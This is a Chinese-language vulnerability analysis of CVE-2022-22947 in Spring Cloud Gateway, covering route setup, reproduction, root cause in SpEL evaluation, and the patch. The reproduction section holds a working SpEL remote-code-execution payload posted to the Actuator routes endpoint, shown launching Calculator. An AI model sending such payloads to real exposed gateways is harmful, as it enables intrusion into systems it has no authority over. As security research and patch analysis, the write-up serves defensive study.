SpringCloud Gateway 漏洞分析 (CVE-2022-22947)
背景
SpringCloud 是Spring提供的微服务实现框架,其中包含网关、配置中心和注册中心等内容,网关的第一代实现为zuul,第二代实现为Gateway,提供了更好的性能和特性。
网关可以提供统一的流量控制和访问控制等功能,一般放在客户端请求的入口或作为nginx的直接上游如下图。
Gateway 使用
Gateway配置可以使用两种方式:
- yml或者properties 固定配置
- 通过actuator插件动态添加
作为一个网关最主要的功能就是路由功能,而路由的规则由Route、Predicate、Filter 三部分组成。
- Spring Cloud Gateway < 3.1.1
- Spring Cloud Gateway < 3.0.7
实操
yml固定配置方式
- 首先在idea中新建spring项目,pom中引入spring-cloud-starter-gateway依赖(一般使用引入starter即可,这里单独指定含漏洞的自动配置底层包)
<dependency>
<groupId>org.springframework.cloud</groupId>
<artifactId>spring-cloud-starter-gateway</artifactId>
</dependency>
<!-- 有漏洞底层包版本-->
<dependency>
<groupId>org.springframework.cloud</groupId>
<artifactId>spring-cloud-gateway-server</artifactId>
<version>3.1.0</version>
</dependency>
- 在application.yml或者application.properties中新建以下配置:
spring:
application:
name: GatewatDemo
cloud:
gateway:
routes:
- id: "router1"
uri: "http://127.0.0.1:9223/"
predicates:
- Path=/
filters:
- AddResponseHeader=Result,1
配置含义: 新建了一个id为router1 的路由,规则为当请求的路径为/时,将请求转发给http://127.0.0.1:9223
(predicates)并给响应增加一个头Result值为1(filter)。
本地起一个9223服务,观察能否转发。启动项目,转发成功。这就是一个网关基本的功能。
动态配置
除了通过配置文件写死的方式,Gateway也支持通过Actuator(spring 监控组件)动态配置路由。
- pom中新引入
spring-boot-starter-actuator
<dependency>
<groupId>org.springframework.boot</groupId>
<artifactId>spring-boot-starter-actuator</artifactId>
</dependency>
- 配置文件( Spring Boot 2.x 后为了安全起见默认只开放/actuator/health和/actuator/info端点),开启gateway监控
management:
endpoint:
gateway:
enabled: true
endpoints:
web:
exposure:
include: gateway
- 重启应用,访问
http://localhost:8080/actuator/gateway/routes
,出现下面页面则表示配置成功。
- 使用actuator动态创建路由,使用post请求发送以下内容到
http://127.0.0.1:8080/actuator/gateway/routes/router2
:
{
"id": "router2",
"filters": [{
"name": "AddResponseHeader",
"args": {
"name": "Result",
"value": "2"
}
}],
"uri": "http://127.0.0.1:9224",
"predicate": "/9224"
}
含义和第一种类似,不过转发路径变成了9224.
- 请求
http://127.0.0.1:8080/actuator/gateway/refresh
应用配置 - 请求页面,页面404,这事因为9224的后端服务没有/9224这个端点所以是404,但有请求记录,证明转发成功。
- 为了使请求正常,所以配置新增一项重写path
{
"id": "router2",
"filters": [{
"name": "AddResponseHeader",
"args": {
"name": "Result",
"value": "2"
}
},{
"name":"RewritePath",
"args":{
"_genkey_0":"/9224",
"_genkey_1":"/"
}
}],
"uri": "http://127.0.0.1:9224",
"predicate": "/9224"
}
- 重新访问,页面正常
漏洞复现
其实这个漏洞本身是一个SpEL注入,我们尝试在之前的yml配置文件中使用SpEL表达式,我们将filter中的AddResponseHeader 值改为#{1+1}
spring:
application:
name: GatewatDemo
cloud:
gateway:
routes:
- id: "router1"
uri: "http://127.0.0.1:9223/"
predicates:
- Path=/
filters:
- AddResponseHeader=Result,#{1+1}
查看返回头,表达式被成功执行:
将表达式替换成恶意的SpEL表达式即可触发RCE,#{T(Runtime).getRuntime().exec("/System/Applications/Calculator.app/Contents/MacOS/Calculator")}
。
虽然这个地方确实存在SpEL注入,但却很难利用,因为攻击者很难控制目标机器的配置文件,所以利用条件就变成了有没有开启Actuator,且Actuator开启了gateway功能没有配置spring security。
使用动态创建的方法试试。
使用以下payload请求创建路由:
{
"id": "router2",
"filters": [{
"name": "AddResponseHeader",
"args": {
"name": "Result",
"value": "#{T(Runtime).getRuntime().exec('/System/Applications/Calculator.app/Contents/MacOS/Calculator')}"
}
},{
"name":"RewritePath",
"args":{
"_genkey_0":"/9224",
"_genkey_1":"/"
}
}],
"uri": "http://127.0.0.1:9224",
"predicate": "/9224"
}
刷新路由,发现代码成功执行。
原理分析
我们打开spring-cloud-gateway的官网,发现SpEL原本是官方提供的一个引用bean的功能。
我们对exec执行下个断点,观察程序的调用栈。
前面一堆是Reactor的逻辑,因为是异步非阻塞的方式,所以阅读起来有一定门槛。
简单来说,就是当我们请求/actuator/gateway/routes/refresh时会去调用注册在reactor 中的方法,然后请求org.springframework.cloud.gateway.actuate
包中的refresh()方法
后续会将application的上下文传入gateway的逻辑,在处理Filter的逻辑中会对属性字段进行normalizeProperties
操作:
具体逻辑会放入normalize中进行处理,其中第一个参数即为我们自己配置的filter处理逻辑
第三个参数为SpEL的parse。
随后进入ShorcutType中的normalize进行处理,解析key、value进入并将value传入getValue():
在getValue中对字符串进行trim操作,同时判断字符串以#{
开始并以}
结束:
如果满足条件则进入SpEL进行解析,可以看到这里导致能够RCE的原因,使用了StandardEvaluationContext
作为context, 随后对配置文件的value进行标准SpEL解析。
到这里就基本理解了漏洞触发的原因
补丁分析
在2月17号,开发者提交了在org.springframework.cloud.gateway.support#ShortcutConfigurable
使用自定义Context方式替换原来的StanderdContext
自定义的Context增加了Spring的BeanFactory类,从而能实现对Spinrg IOC容器 bean的引用。
修复后新版本运行会报错:
总结
漏洞影响版本:
- Spring Cloud Gateway < 3.1.1
- Spring Cloud Gateway < 3.0.7
基本上和SpringCloud Functions 一样是个SpEL注入的漏洞,只不过在网关的场景出现,需要应用暴露actuator,有一定前置条件。
引用
https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2022-22947
https://docs.spring.io/spring-cloud-gateway/docs/current/reference/html/
https://github.com/spring-cloud/spring-cloud-gateway/commit/337cef276bfd8c59fb421bfe7377a9e19c68fe1e
https://docs.spring.io/spring-boot/docs/current/reference/html/actuator.html#actuator
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